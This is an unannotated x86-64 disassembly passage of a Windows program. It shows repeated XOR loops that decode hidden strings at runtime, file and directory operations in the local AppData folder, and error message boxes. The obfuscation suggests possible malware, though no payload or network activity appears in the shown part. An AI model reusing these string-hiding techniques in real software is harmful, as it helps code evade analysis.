paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbc]
xorps xmm2, xmm1
movd dword [rbp + 0xbc], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0xc0], xmm2
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0xb8]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140025c00
lea r8, [rbp + 0xb8]
lea rdx, [rbp + 0x1490]
lea rcx, [rbp + 0x12d8]
call fcn.1400602f4
mov rdx, qword [rbp + 0x12d8]
test rdx, rdx
je 0x14002b7f2
xorps xmm0, xmm0
movups xmmword [rbp + 0x13f0], xmm0
mov qword [rbp + 0x1400], rbx
mov qword [rbp + 0x1408], rbx
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140025c80
lea rcx, [rbp + 0x13f0]
call fcn.1400053b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x6e0], xmm0
mov qword [rbp + 0x6f0], rbx
mov qword [rbp + 0x6f8], rbx
lea rax, [rbp + 0xd8]
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140025cc0
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x6e0]
call fcn.1400053b0
nop
mov r8, qword [rbp + 0x1400]
mov qword [rsp + 0x50], r8
movabs rdx, 0x7fffffffffffffff
mov rax, rdx
sub rax, r8
cmp rax, 1
jb 0x14002bf63
lea rax, [rbp + 0x13f0]
cmp qword [rbp + 0x1408], 0xf
cmova rax, qword [rbp + 0x13f0]
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
mov qword [rbp + 0x2e0], rbx
mov qword [rbp + 0x2e8], rbx
lea r9, [r8 + 1]
mov qword [rbp - 0x78], r9
mov ecx, 0xf
lea rax, [rbp + 0x2d0]
mov qword [rsp + 0x40], rax
movabs r10, 0x8000000000000000
mov r11d, 0x16
cmp r9, rcx
jbe 0x140025df6
mov rcx, r9
or rcx, 0xf
cmp rcx, rdx
jbe 0x140025d9e
mov qword [rsp + 0x48], rdx
lea rcx, [r10 + 0x27]
call fcn.1400529f8
mov rcx, rax
test rax, rax
je 0x14002bf69
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140025ddc
cmp rcx, r11
cmovb rcx, r11
mov qword [rsp + 0x48], rcx
lea rax, [rcx + 1]
test rax, rax
jne 0x140025dbd
mov rax, rbx
mov qword [rsp + 0x40], rbx
jmp 0x140025def
cmp rax, 0x1000
jb 0x140025dd4
lea rcx, [rax + 0x27]
cmp rcx, rax
jbe 0x14002bc9c
jmp 0x140025d7f
mov rcx, rax
call fcn.1400529f8
mov r9, qword [rbp - 0x78]
mov r8, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 0x2e0], r9
mov qword [rbp + 0x2e8], rcx
mov rdx, qword [rsp + 0x58]
mov rcx, rax
call fcn.1400777c0
movzx ecx, word [0x1400893e8]
mov rax, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x50]
mov byte [rax + rdx], cl
mov byte [rax + rdx + 1], 0
lea r9, [rbp + 0x6e0]
lea r8, [rbp + 0x2d0]
lea rcx, [rbp + 0x1390]
call fcn.14004d070
nop
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 0xf
jbe 0x140025e86
inc rdx
mov rcx, qword [rbp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025e81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf6f
call fcn.1400529f0
mov qword [rbp + 0x2e0], rbx
mov qword [rbp + 0x2e8], 0xf
mov byte [rbp + 0x2d0], 0
mov rdx, qword [rbp + 0x6f8]
cmp rdx, 0xf
jbe 0x140025ee0
inc rdx
mov rcx, qword [rbp + 0x6e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140025edb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bc52
call fcn.1400529f0
mov qword [rbp + 0x6f0], rbx
mov qword [rbp + 0x6f8], 0xf
mov byte [rbp + 0x6e0], 0
lea rcx, [rbp + 0x1390]
cmp qword [rbp + 0x13a8], 0xf
cmova rcx, qword [rbp + 0x1390]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140026397
lea rcx, [rbp + 0x1390]
cmp qword [rbp + 0x13a8], 0xf
cmova rcx, qword [rbp + 0x1390]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x140026397
movsd xmm0, qword [0x14008a808]
movsd qword [rbp - 0x70], xmm0
mov ecx, dword [0x14008a810]
mov dword [rbp - 0x68], ecx
movzx eax, word [0x14008a814]
mov edx, 0x45
mov word [rbp - 0x70], dx
xor word [rbp - 0x6e], 0x33
xor word [rbp - 0x6c], 0x34
xor word [rbp - 0x6a], 0x35
xor cx, 0x36
mov word [rbp - 0x68], cx
xor word [rbp - 0x66], 0x37
xor ax, 0x38
mov word [rbp - 0x64], ax
movups xmm4, xmmword [0x14008a850]
movups xmmword [rbp + 0x4e0], xmm4
movups xmm0, xmmword [0x14008a860]
movups xmmword [rbp + 0x4f0], xmm0
movups xmm1, xmmword [0x14008a870]
movups xmmword [rbp + 0x500], xmm1
mov eax, dword [0x14008a880]
mov dword [rbp + 0x510], eax
movzx eax, word [0x14008a884]
mov word [rbp + 0x514], ax
mov r8d, ebx
cmp r12d, 2
jl 0x14002627e
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
pshufhw xmm0, xmm8, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x4e0], xmm3
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
pshufhw xmm0, xmm11, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x4e8]
xorps xmm3, xmm0
movq qword [rbp + 0x4e8], xmm3
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
pshufhw xmm0, xmm10, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x4f0]
xorps xmm3, xmm0
movq qword [rbp + 0x4f0], xmm3
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
pshufhw xmm0, xmm13, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x4f8]
xorps xmm3, xmm0
movq qword [rbp + 0x4f8], xmm3
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
pshufhw xmm0, xmm15, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x500]
xorps xmm3, xmm0
movq qword [rbp + 0x500], xmm3
movdqa xmm2, xmmword [0x14008c390]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x508]
xorps xmm3, xmm0
movq qword [rbp + 0x508], xmm3
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0x4e0]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x1b
jl 0x140026290
mov r9d, r13d
lea r8, [rbp - 0x70]
lea rdx, [rbp + 0x4e0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rbp + 0x13a8]
cmp rdx, 0xf
jbe 0x14002631f
inc rdx
mov rcx, qword [rbp + 0x1390]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002631a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf39
call fcn.1400529f0
mov byte [rbp + 0x1390], 0
mov qword [rbp + 0x13a8], 0xf
mov qword [rbp + 0x13a0], rbx
mov rdx, qword [rbp + 0x1408]
cmp rdx, 0xf
jbe 0x140026379
inc rdx
mov rcx, qword [rbp + 0x13f0]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140026374
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf3f
call fcn.1400529f0
mov qword [rbp + 0x1400], rbx
mov qword [rbp + 0x1408], 0xf
mov byte [rbp + 0x13f0], 0
jmp 0x14002b9f8
xorps xmm0, xmm0
movups xmmword [rbp + 0x720], xmm0
mov qword [rbp + 0x730], rbx
mov qword [rbp + 0x738], rbx
lea rax, [rbp - 0x28]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x1400263b6
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x720]
call fcn.1400053b0
nop
mov r9, qword [rbp + 0x13a0]
mov qword [rsp + 0x48], r9
movabs rdx, 0x7fffffffffffffff
mov rax, rdx
sub rax, r9
cmp rax, 1
jb 0x14002bf75
lea r10, [rbp + 0x1390]
cmp qword [rbp + 0x13a8], 0xf
cmova r10, qword [rbp + 0x1390]
mov qword [rsp + 0x58], r10
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f0], xmm0
mov qword [rbp + 0x300], rbx
mov qword [rbp + 0x308], rbx
lea r8, [r9 + 1]
mov qword [rbp - 0x78], r8
mov ecx, 0xf
lea rax, [rbp + 0x2f0]
mov qword [rsp + 0x40], rax
cmp r8, rcx
jbe 0x1400264ee
mov rcx, r8
or rcx, 0xf
cmp rcx, rdx
jbe 0x14002648b
mov qword [rsp + 0x50], rdx
movabs rcx, 0x8000000000000000
add rcx, 0x27
call fcn.1400529f8
mov rcx, rax
test rax, rax
je 0x14002bf7b
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400264cf
cmp rcx, 0x16
mov eax, 0x16
cmovb rcx, rax
mov qword [rsp + 0x50], rcx
lea rax, [rcx + 1]
test rax, rax
jne 0x1400264b0
mov rax, rbx
mov qword [rsp + 0x40], rbx
jmp 0x1400264e7
cmp rax, 0x1000
jb 0x1400264c7
lea rcx, [rax + 0x27]
cmp rcx, rax
jbe 0x14002bca2
jmp 0x14002646c
mov rcx, rax
call fcn.1400529f8
mov r10, qword [rsp + 0x58]
mov r9, qword [rsp + 0x48]
mov r8, qword [rbp - 0x78]
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x300], r8
mov qword [rbp + 0x308], rcx
mov r8, r9
mov rdx, r10
mov rcx, rax
call fcn.1400777c0
movzx ecx, word [0x1400893e8]
mov rax, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov byte [rax + rdx], cl
mov byte [rax + rdx + 1], 0
lea r9, [rbp + 0x720]
lea r8, [rbp + 0x2f0]
lea rcx, [rbp + 0x13b0]
call fcn.14004d070
nop
mov rdx, qword [rbp + 0x308]
cmp rdx, 0xf
jbe 0x14002657f
inc rdx
mov rcx, qword [rbp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002657a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf81
call fcn.1400529f0
mov qword [rbp + 0x300], rbx
mov qword [rbp + 0x308], 0xf
mov byte [rbp + 0x2f0], 0
mov rdx, qword [rbp + 0x738]
cmp rdx, 0xf
jbe 0x1400265d9
inc rdx
mov rcx, qword [rbp + 0x720]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400265d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bfab
call fcn.1400529f0
mov qword [rbp + 0x730], rbx
mov qword [rbp + 0x738], 0xf
mov byte [rbp + 0x720], 0
lea rcx, [rbp + 0x13b0]
cmp qword [rbp + 0x13c8], 0xf
cmova rcx, qword [rbp + 0x13b0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1400268bd
lea rcx, [rbp + 0x13b0]
cmp qword [rbp + 0x13c8], 0xf
cmova rcx, qword [rbp + 0x13b0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x1400268bd
movsd xmm0, qword [0x14008a808]
movsd qword [rbp - 0x60], xmm0
mov ecx, dword [0x14008a810]
mov dword [rbp - 0x58], ecx
movzx eax, word [0x14008a814]
mov edx, 0x45
mov word [rbp - 0x60], dx
xor word [rbp - 0x5e], 0x33
xor word [rbp - 0x5c], 0x34
xor word [rbp - 0x5a], 0x35
xor cx, 0x36
mov word [rbp - 0x58], cx
xor word [rbp - 0x56], 0x37
xor ax, 0x38
mov word [rbp - 0x54], ax
movups xmm0, xmmword [0x14008b880]
movups xmmword [rbp + 0xc70], xmm0
movups xmm1, xmmword [0x14008b890]
movups xmmword [rbp + 0xc80], xmm1
movups xmm0, xmmword [0x14008b8a0]
movups xmmword [rbp + 0xc90], xmm0
movups xmm1, xmmword [0x14008b8b0]
movups xmmword [rbp + 0xca0], xmm1
movups xmm0, xmmword [0x14008b8c0]
movups xmmword [rbp + 0xcb0], xmm0
mov eax, dword [0x14008b8d0]
mov dword [rbp + 0xcc0], eax
movzx eax, word [0x14008b8d4]
mov word [rbp + 0xcc4], ax
mov r8d, ebx
cmp r12d, 2
jl 0x1400267ff
lea rcx, [rbp + 0xc70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
lea r14d, [r14 + 8]
cmp r8d, 0x28
jl 0x140026700
cmp r8d, 0x2b
jge 0x140026847
movsxd rax, r8d
lea r9, [rbp + 0xc70]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x2b
jl 0x140026810
mov r9d, r13d
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0xc70]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rbp + 0x13c8]
cmp rdx, 0xf
jbe 0x14002689f
inc rdx
mov rcx, qword [rbp + 0x13b0]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14002689a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bc52
call fcn.1400529f0
mov qword [rbp + 0x13c0], rbx
mov qword [rbp + 0x13c8], 0xf
mov byte [rbp + 0x13b0], 0
jmp 0x1400262de
lea rdx, [rbp + 0x13b0]
cmp qword [rbp + 0x13c8], 0xf
cmova rdx, qword [rbp + 0x13b0]
lea rcx, [rbp + 0x20]
call fcn.14001b6b0
test al, al
je 0x14002b434
lea rcx, [rbp + 0x13b0]
cmp qword [rbp + 0x13c8], 0xf
cmova rcx, qword [rbp + 0x13b0]
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp + 0x1470]
call fcn.140011200
nop
lea rcx, [rbp + 0x1470]
call fcn.140018530
call fcn.140017e10
call fcn.1400175a0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm4, xmmword [0x14008b148]
movups xmmword [rbp + 0x3b8], xmm4
movups xmm0, xmmword [0x14008b158]
movups xmmword [rbp + 0x3c8], xmm0
mov eax, dword [0x14008b168]
mov dword [rbp + 0x3d8], eax
movzx eax, word [0x14008b16c]
mov word [rbp + 0x3dc], ax
mov r8d, ebx
cmp r12d, 2
jl 0x140026b3f
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x3b8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x3c0]
xorps xmm3, xmm0
movq qword [rbp + 0x3c0], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x3c8]
xorps xmm3, xmm0
movq qword [rbp + 0x3c8], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x3d0]
xorps xmm3, xmm0
movq qword [rbp + 0x3d0], xmm3
mov r8d, r13d
mov eax, r8d
lea r9, [rbp + 0x3b8]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x13
jl 0x140026b50
movups xmm4, xmmword [0x14008a200]
movups xmmword [rbp + 0x390], xmm4
movups xmm0, xmmword [0x14008a210]
movups xmmword [rbp + 0x3a0], xmm0
mov eax, dword [0x14008a220]
mov dword [rbp + 0x3b0], eax
movzx eax, word [0x14008a224]
mov word [rbp + 0x3b4], ax
mov r8d, ebx
cmp r12d, 2
jl 0x140026d91
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm8
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x390], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x398]
xorps xmm3, xmm0
movq qword [rbp + 0x398], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x3a0]
xorps xmm3, xmm0
movq qword [rbp + 0x3a0], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x3a8]
xorps xmm3, xmm0
movq qword [rbp + 0x3a8], xmm3
mov r8d, r13d
mov eax, r8d
lea r9, [rbp + 0x390]
lea r9, [r9 + rax*2]
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x13
jl 0x140026da0
lea rax, [rbp + 0x1b70]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1c
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x14002b3d5
xorps xmm0, xmm0
movups xmmword [rbp + 0x6a0], xmm0
mov qword [rbp + 0x6b0], rbx
mov qword [rbp + 0x6b8], rbx
lea rax, [rbp + 0x3b8]
mov r8, r15
inc r8
cmp word [rax + r8*2], 0
jne 0x140026e20
lea rdx, [rbp + 0x3b8]
lea rcx, [rbp + 0x6a0]
call fcn.14004a2d0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x6c0], xmm0
mov qword [rbp + 0x6d0], rbx
mov qword [rbp + 0x6d8], rbx
lea rax, [rbp + 0x390]
mov r8, r15
inc r8
cmp word [rax + r8*2], 0
jne 0x140026e61
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x6c0]
call fcn.14004a2d0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x700], xmm0
mov qword [rbp + 0x710], rbx
mov qword [rbp + 0x718], rbx
lea rax, [rbp + 0x1b70]
nop
inc r15
cmp word [rax + r15*2], 0
jne 0x140026ea0
mov r8, r15
lea rdx, [rbp + 0x1b70]
lea rcx, [rbp + 0x700]
call fcn.14004a2d0
nop
mov r8d, 1
lea rdx, [0x1400893ec]
lea rcx, [rbp + 0x700]
call fcn.140042f80
xorps xmm0, xmm0
movups xmmword [rbp + 0x488], xmm0
